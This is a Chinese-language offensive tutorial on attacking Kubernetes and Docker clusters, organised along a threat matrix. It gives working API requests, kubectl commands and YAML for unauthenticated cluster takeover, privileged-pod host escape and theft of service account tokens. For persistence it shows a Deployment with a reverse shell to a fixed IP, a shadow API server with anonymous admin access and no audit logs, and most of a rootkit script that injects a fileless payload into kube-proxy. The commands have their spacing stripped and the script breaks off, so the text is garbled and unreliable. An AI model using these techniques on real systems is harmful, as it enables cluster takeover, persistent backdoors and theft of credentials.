隨著越來越多企業開始上雲的步伐,在攻防演練中常常碰到雲相關的場景,例如:公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」,直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局,也打開了新的入侵路徑,例如:
l通過虛擬機攻擊雲管理平台,利用管理平台控制所有機器
l通過容器進行逃逸,從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器
l利用KVM-QEMU/執行逃逸獲取宿主機,進入物理網絡橫向移動控制雲平台
目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多,僅有一些廠商發布過相關矩陣技術,但沒有過多的細節展示,本文基於微軟發布的Kubernetes威脅矩陣進行擴展,介紹相關的具體攻擊方法。
紅色標誌是攻擊者最為關注的技術點。
初始訪問lAPI Server未授權訪問
lkubelet未授權訪問
lDocker Daemon 公網暴露
lK8s configfile 洩露
API Server未授權訪問API Server作為K8s集群的管理入口,通常使用8080 和6443 端口,其中8080 端口無需認證,6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口,並將其暴露在公網上,攻擊者就可以通過該端口的API,直接對集群下髮指令。
另一種場景是運維人員配置不當,將'system:anonymous'用戶綁定到'cluster-admin'用戶組,從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#創建特權容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}
#執行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋:
創建特權容器
K8s configfile 洩露K8s configfile作為K8s集群的管理憑證,其中包含有關K8s集群的詳細信息(API Server、登錄憑證)。
如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等),就可以直接通過API Server 接管K8s 集群,帶來風險隱患。
用戶憑證保存在kubeconfig 文件中,kubectl 通過以下順序來找到kubeconfig 文件:
1.如果提供了--kubeconfig參數,就使用提供的kubeconfig 文件。
2.如果沒有提供--kubeconfig 參數,但設置了環境變量$KUBECONFIG,則使用該環境變量提供的kubeconfig 文件。
3.如果以上兩種情況都沒有,kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。
拿到K8s configfile完整利用流程:
K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。
#Linux安裝kubectl
curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'
sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl
#內容放入config、或指定選項,需要修改Server地址
kubectl--kubeconfigk8s.yaml
#獲取已接取的鏡像
kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c
#創建Podpod.yaml,將宿主機根目錄掛載host文件
apiVersion:v1
kind:Pod
metadata:
name:test-444
spec:
containers:
-name:test-444
image:nginx:1.14.2
volumeMounts:
-name:host
mountPath:/host
volumes:
-name:host
hostPath:
path:/
type:Directory
#在default命名空間中創建pod
kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true
#進入容器中
kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true
#切換bash,逃逸成功
cd/host
chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作,其中docker daemon服務在後台運行,負責管理容器的創建、運行和停止操作。
在Linux主機上,docker daemon監聽在/var/run/docker.sock中創建的unix socket,2375端口用於未認證的HTTP通信,2376用於可信HTTPS通信。
在最初版本安裝Docker時默認會把2375端口對外開放,目前默認只允許本地訪問。
管理員開啟遠程訪問的配置如下:
#開啟遠程訪問
vim/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用:
#探測是否訪問未授權訪問
curlhttp://192.168.238.129:2375/info
docker-Htcp://192.168.238.129:2375info
#推薦使用這種方式,操作方便。
exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例:
執行l利用Service Account
nCURL方式請求
nkubectl方式請求
利用Service AccountK8s集群創建的Pod中,容器內部默認攜帶K8s Service Account的認證憑據,路徑為:(/run/secrets/kubernetes.io/serviceaccount/token)
如運維配置不當沒有設置RBAC(基於角色的訪問控制),那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。
在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制,從1.16版本起,默認啟用RBAC訪問控制策略。從1.18開始,RBAC已作為穩定的功能。
下面就是利用Pod中的Token訪問API Server的一種場景:
#指向內部API服務器主機名
exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}
#設置ServiceAccount令牌的路徑
exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#讀取pods命名空間並將其設置為變量。
exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)
#讀取ServiceAccount不記名令牌
exportTOKEN=$(cat${SERVICEACCOUNT}/token)
#CACERT路徑
exportCACERT=${SERVICEACCOUNT}/ca.crt
執行以下命令查看當前集群中所有Namespaces。
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces
#寫入yaml,創建特權Pod
catnginx-pod.yamlEOF
apiVersion:v1
kind:Pod
metadata:
name:test-444
spec:
containers:
-name:test-444
image:nginx:1.14.2
volumeMounts:
-name:host
mountPath:/host
volumes:
-name:host
hostPath:
path:/
type:Directory
EOF
#創建pod
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml
#查看信息
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx
#執行命令
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments
lShadow API
lRootkit
lcronjob持久化
Deployment創建容器時,通過啟用DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:
lReplicationController(RC)
ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。
lReplication Set(RS)
Replication Set簡稱RS,官方已經推薦我們使用RS和Deployment來代替RC了,實際上RS和RC的功能基本一致,目前唯一的一個區別就是RC只支持基於等式的selector
lDeployment
主要職責和RC一樣,的都是保證Pod的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的RC控制器
官方組件kube-dns、kube-proxy也都是使用的Deployment來管理
這裡使用Deployment來部署後門
#dep.yaml
apiVersion:apps/v1
kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態
metadata:
name:nginx-deploy
labels:
k8s-app:nginx-demo
spec:
replicas:3#指定Pod副本數量
selector:
matchLabels:
app:nginx
template:
metadata:
labels:
app:nginx
spec:
hostNetwork:true
hostPID:true
containers:
-name:nginx
image:nginx:1.7.9
imagePullPolicy:IfNotPresent
command:['bash']#反彈Shell
args:['-c','bash-i/dev/tcp/192.168.238.130/424201']
securityContext:
privileged:true#特權模式
volumeMounts:
-mountPath:/host
name:host-root
volumes:
-name:host-root
hostPath:
path:/
type:Directory
#創建
kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver,那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限,接受匿名請求且不保存審計日誌,這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。
Shadow API Server的配置與利用:
配置文件路徑:
/etc/systemd/system/kube-apiserver-test.service
#一鍵部署Shadowapiserver
./cdkrunk8s-shadow-apiserverdefault
#一鍵部署將在配置文件中添加瞭如下選項:
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl訪問與利用
./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit,k0otkit 是一種通用的後滲透技術,可用於對Kubernetes 集群的滲透。使用k0otkit,您可以以快速、隱蔽和連續的方式(反向shell)操作目標Kubernetes 集群中的所有節點。
K0otkit使用到的技術:
lDaemonSet和Secret資源(快速持續反彈、資源分離)
lkube-proxy鏡像(就地取材)
l動態容器注入(高隱蔽性)
lMeterpreter(流量加密)
l無文件攻擊(高隱蔽性)
#生成k0otkit
./pre_exp.sh
#監聽
./handle_multi_reverse_shell.sh
k0otkit.sh的內容複製到master執行:
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')
volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')
image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')
#createpayloadsecret
catEOF|kubectl--kubeconfig/root/.kube/configapply-f-
apiVersion:v1
kind:Secret
metadata:
name:$secret_name
namespace:kube-system
type:Opaque
data:
$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.
#injectmaliciouscontainerintokube-proxypod
kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\
|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\
|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n
Recommended Comments